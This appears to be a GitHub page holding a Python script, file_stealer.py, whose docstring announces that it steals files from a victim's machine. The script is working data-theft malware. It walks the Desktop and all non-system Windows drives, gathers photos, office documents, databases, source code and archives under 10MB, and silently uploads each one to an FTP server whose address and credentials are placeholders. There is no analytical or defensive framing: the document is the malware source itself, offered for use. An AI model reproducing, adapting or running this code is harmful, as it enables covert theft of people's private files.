-
Notifications
You must be signed in to change notification settings - Fork 2
/
file_stealer.py
136 lines (119 loc) · 3.32 KB
/
file_stealer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
"""
Steal Files on Victims Machine and send to FTP Server
"""
import sys
import os
import ftplib
from threading import Thread
from time import sleep
import string
import random
import win32api
def get_all_drivers():
try:
if sys.platform in ("win32", "cygwin"):
drives = win32api.GetLogicalDriveStrings()
drives = drives.split("\000")[:-1]
win_drive = os.environ["SYSTEMDRIVE"]
# Remove SystemDrive
for key, value in enumerate(drives):
if win_drive in value:
del drives[key]
return drives
except Exception:
sys.exit()
def discover_files(startpath):
extensions = [
"jpg",
"jpeg",
"bmp",
"gif",
"png",
"svg",
"psd",
"raw",
"avi",
"flv",
"m4v",
"mkv",
"mov",
"mpg",
"mpeg",
"wmv",
"swf",
"3gp",
"doc",
"docx",
"xls",
"xlsx",
"ppt",
"pptx",
"odt",
"odp",
"ods",
"txt",
"rtf",
"tex",
"pdf",
"epub",
"md",
"csv",
"db",
"sql",
"dbf",
"mdb",
"go",
"py",
"pyc",
"zip",
"tar",
"tgz",
"bz2",
"7z",
"rar",
"bak",
]
for dirpath, dirs, files in os.walk(startpath):
for i in files:
absolute_path = os.path.abspath(os.path.join(dirpath, i))
ext = absolute_path.split(".")[-1]
if ext in extensions:
# Only get Files that are not bigger than 10MB
if os.stat(absolute_path).st_size <= 10485760:
yield absolute_path
def upload_file(file):
sleep(1)
output_string = "".join(
random.SystemRandom().choice(string.ascii_letters + string.digits)
for _ in range(3))
try:
with open(file, "rb") as filedata:
with ftplib.FTP("FTPSERVER", "USERNAME", "PASSWORD") as ftp_connection:
# Change Directory in FTP Server
#ftp_connection.cwd("files")
if file.split("\\")[-1] not in ftp_connection.nlst():
ftp_connection.storbinary("STOR " + file.split("\\")[-1], filedata)
else:
ftp_connection.storbinary(
"STOR " + output_string + file.split("\\")[-1], filedata)
except Exception:
pass
def get_desktop_path():
try:
if sys.platform in ("win32", "cygwin"):
desktop = os.path.join(os.path.expanduser("~"), "Desktop")
return desktop
except Exception:
sys.exit()
def main():
# Specify custom Path => Desktop
for file in discover_files(get_desktop_path()):
desktop_thread = Thread(target=upload_file(file), args=(file,))
desktop_thread.start()
# Get all Drivers except SystemDrive
for drive in get_all_drivers():
for file in discover_files(drive):
driver_thread = Thread(target=upload_file(file), args=(file,))
driver_thread.start()
if __name__ == "__main__":
main()